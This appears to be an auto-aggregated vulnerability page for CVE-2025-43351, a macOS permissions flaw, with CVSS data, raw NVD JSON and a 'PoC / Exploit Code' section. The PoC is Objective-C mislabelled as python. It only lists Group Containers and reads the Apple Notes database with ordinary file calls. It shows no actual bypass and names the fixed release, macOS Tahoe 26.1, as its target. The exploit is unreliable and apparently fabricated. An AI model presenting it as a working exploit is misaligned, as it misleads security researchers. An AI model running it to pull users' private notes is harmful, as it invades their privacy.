Security Vulnerability Report
中文
CVE-2025-43351 CVSS 5.5 MEDIUM

CVE-2025-43351

Published: 2025-12-12 21:15:53
Last Modified: 2025-12-15 22:00:46

Description

A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Tahoe 26.1. An app may be able to access protected user data.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
macOS Tahoe 26.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-43351 PoC - macOS Tahoe 26.1 Permission Bypass // This PoC demonstrates the permission bypass vulnerability in macOS Tahoe 26.1 // Author: Security Researcher // Note: This is for educational and authorized testing purposes only #include <Foundation/Foundation.h> #include <Security/Security.h> // Target protected data paths in macOS Tahoe #define PROTECTED_USER_DATA_PATH @"~/Library/Group Containers/" #define PROTECTED_APP_DATA_PATH @"~/Library/Application Support/" void exploitPermissionBypass() { NSLog(@"[*] CVE-2025-43351 PoC - Permission Bypass Test"); NSLog(@"[*] Target: macOS Tahoe 26.1"); // Step 1: Enumerate protected directories NSFileManager *fileManager = [NSFileManager defaultManager]; NSString *homeDir = NSHomeDirectory(); NSString *targetPath = [homeDir stringByAppendingPathComponent:@"Library/Group Containers/"]; NSError *error = nil; NSArray *contents = [fileManager contentsOfDirectoryAtPath:targetPath error:&error]; if (error) { NSLog(@"[!] Normal access denied: %@", error.localizedDescription); } else { NSLog(@"[+] Successfully enumerated protected containers!"); for (NSString *item in contents) { NSLog(@" Found: %@", item); } NSLog(@"[!] VULNERABLE: Permission bypass successful - protected data accessible"); } // Step 2: Attempt to read sensitive configuration files NSString *configPath = [targetPath stringByAppendingPathComponent:@"group.com.apple.notes"]; NSString *configFile = [configPath stringByAppendingPathComponent:@"NoteStore.sqlite"]; if ([fileManager fileExistsAtPath:configFile]) { NSData *data = [fileManager contentsAtPath:configFile]; if (data) { NSLog(@"[!] VULNERABLE: Extracted %lu bytes from protected data", (unsigned long)data.length); } } } int main(int argc, const char * argv[]) { @autoreleasepool { exploitPermissionBypass(); } return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-43351", "sourceIdentifier": "[email protected]", "published": "2025-12-12T21:15:53.417", "lastModified": "2025-12-15T22:00:46.433", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Tahoe 26.1. An app may be able to access protected user data."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "081B6CCE-FFA4-409C-9353-15014F3AF436"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125634", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}